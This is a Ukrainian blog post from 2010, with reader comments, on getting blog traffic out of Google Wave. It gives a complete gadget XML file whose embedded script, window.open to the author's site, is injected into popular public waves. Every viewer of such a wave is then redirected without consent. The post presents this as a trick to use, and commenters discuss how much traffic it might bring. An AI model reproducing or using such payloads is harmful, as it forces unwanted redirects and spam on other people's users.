Home > Security, Tips & Tricks > Добуваєм трафік з Google Wave :)

Добуваєм трафік з Google Wave :)

January 25th, 2010 Dimi4 Leave a comment Go to comments

Google Wave
Виявляється з Google Wave можна досить легко добути трохи унікальних відвідувачів на свій блог. На цю вразливість наштовхнув мене life_is_shit, за що йому велике спасибі :) . Отже як це зробити читаєм під катом ;)
Отже все зводиться до додавання гаджета в хвилю. Гаджети для Google Wave це звичайнісінькі XML документи, в які ми можемо добавити редирект чи фрейм ;)

Для початку знайдемо популярну хвилю, наприклад таким запитом:

with:public tag:russian

Далі створимо XML файл з таким вмістом:

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2.  
  3. <Module>
  4.  
  5.  <ModulePrefs title="HTML Gadget" height="1">
  6.  <Require feature="rpc" />
  7.  <Require feature="dynamic-height" heigth="1"/>
  8.  </ModulePrefs>
  9.  
  10.  <Content type="html" vew="canvas">
  11.  <![CDATA[
  12.  
  13. <script>window.open("http://uasc.org.ua");</script>
  14.  
  15. ]]>
  16.  </Content>
  17.  
  18. </Module>

Завантажуємо його будь-куди, головне щоб був прямий лінк на завантаження.  Далі переходимо в хвилю, натискуєм на “нове повідомлення”, далі на “Add Gadget by URL” та вставляємо лінк на наш XML файл (наприклад http://uasc.org.ua/files/poison.xml).

Будь-хто, хто відкриє хвилю для перегляду буде переадресований на uasc.org.ua ;)

П.С. XSS реалізувати не вдасться,  бо гаджет збегіратиметься в гуглі на відмінному сервері від waves.google.com

Categories: Security, Tips & Tricks Tags:
  1. life_is_shit
    January 26th, 2010 at 16:54 | #1
    Reply | Quote

    мне интересно как они это пофиксят.
    функционал урезать не вариант=

  2. ZEXEL
    January 27th, 2010 at 03:01 | #2
    Reply | Quote

    Як багато трафіку можна добути ?
    Є статистика використання Google Wave, мені здається, що цей проект від Гугла нікому не подобається.

  3. Dimi4
    January 27th, 2010 at 22:42 | #3
    Reply | Quote

    Зексель, не знаю не пробував.
    Неможна говорити “нікому”, є досить популярні хвилі з великою кількістю користувачів.

  4. xa-xa89
    January 28th, 2010 at 00:51 | #4
    Reply | Quote

    А що це за хвилі, якщо не секрет?

  5. life_is_shit
    January 28th, 2010 at 00:55 | #5
    Reply | Quote

    кидай мыло, скину инвайт

  6. xa-xa89
    January 28th, 2010 at 01:05 | #6
    Reply | Quote

    Взагалі я вже маю аккаунт на GoogleWave, мене цікавить що за хвилі з великою кількістю користувачів?

  7. Dimi4
    January 28th, 2010 at 16:58 | #7
    Reply | Quote

    В повідомленні я написав як їх знаходити, вказувати конкретно назву не буду з зрозумілих причин.

  8. 1vanu4
    January 28th, 2010 at 18:09 | #8
    Reply | Quote

    Респект 2life_is_shit

  9. life_is_shit
    January 28th, 2010 at 19:15 | #9
    Reply | Quote
  10. xa-xa89
    January 28th, 2010 at 21:52 | #10
    Reply | Quote

    Скузі)провтыкав)

  11. dsu
    January 29th, 2010 at 04:41 | #11
    Reply | Quote

    Интересненько, мб и мне в сео-биз податься :)
    Димыч спасибо за статью.
    Отошел от праздников, пора братся за перо :)

  1. No trackbacks yet.